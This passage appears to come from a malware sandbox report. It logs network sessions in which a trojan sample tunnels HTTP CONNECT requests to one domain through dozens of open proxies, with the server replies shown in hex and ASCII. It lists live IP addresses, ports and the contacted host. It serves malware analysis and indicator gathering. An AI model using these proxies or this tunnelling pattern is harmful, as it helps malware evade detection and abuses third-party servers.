Feb 23, 2024 14:28:37.320677042 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.251527071 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1463	192.168.2.8	54141	5.58.97.89	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.330426931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.382510900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.789546967 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1464	192.168.2.8	54284	184.185.2.12	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.341626883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1465	192.168.2.8	54124	105.214.71.103	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.365134954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1466	192.168.2.8	54194	217.112.80.252	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.381356955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.516599894 CET	882	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:38 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 Content-Length: 665 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 70 6f 73 74 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 31 2e 31 6d 20 50 48 50 2f 37 2e 34 2e 32 37 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at postmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1467	192.168.2.8	54166	98.162.25.7	31653	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.385164022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1468	192.168.2.8	53220	50.63.13.3	12035	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.396243095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.491656065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.492163897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1469	192.168.2.8	54298	24.152.50.116	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.405728102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1470	192.168.2.8	54306	104.19.5.247	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.405792952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.493139029 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1471	192.168.2.8	53189	103.165.64.86	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.407717943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1472	192.168.2.8	54151	117.102.115.154	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.424297094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.491769075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1473	192.168.2.8	54297	104.238.228.201	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.436897039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.050088882 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1474	192.168.2.8	54214	186.215.87.194	8896	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.436897039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.491899014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.492178917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1475	192.168.2.8	54232	125.227.225.157	3389	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.475831985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1476	192.168.2.8	54307	156.200.116.74	1981	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.476238966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.185653925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.879681110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.251590014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.898355007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.586131096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.397969007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:53.741439104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:04.257208109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1477	192.168.2.8	54309	128.199.252.22	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.495062113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.827419996 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1478	192.168.2.8	54316	172.67.38.96	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.497104883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.586781979 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1479	192.168.2.8	54310	27.76.128.246	25395	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.513115883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1480	192.168.2.8	49733	188.164.196.31	49426	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.555932045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.581676006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.695198059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.694998980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:01.694720030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:13.775667906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:25.929094076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1481	192.168.2.8	54339	172.67.53.215	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.556076050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.643106937 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1482	192.168.2.8	49742	91.189.237.78	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.556169987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.695027113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.695508003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.788813114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1483	192.168.2.8	54262	194.247.173.17	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.556725025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.581732988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1484	192.168.2.8	54326	104.23.125.117	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.564358950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.651794910 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1485	192.168.2.8	49783	23.225.72.125	3503	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.571142912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.581732988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.695199013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.193372011 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1486	192.168.2.8	54364	74.119.147.209	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.571142912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1487	192.168.2.8	54337	3.10.93.50	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.601099014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.759404898 CET	167	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/6.0.0-20220501-re899e0c27 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1488	192.168.2.8	54362	20.111.54.16	8123	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.601391077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.771904945 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1489	192.168.2.8	54360	116.203.28.43	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.611602068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.808773041 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1490	192.168.2.8	54356	206.220.175.2	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.611602068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1491	192.168.2.8	54351	85.214.118.98	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:37.611835957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
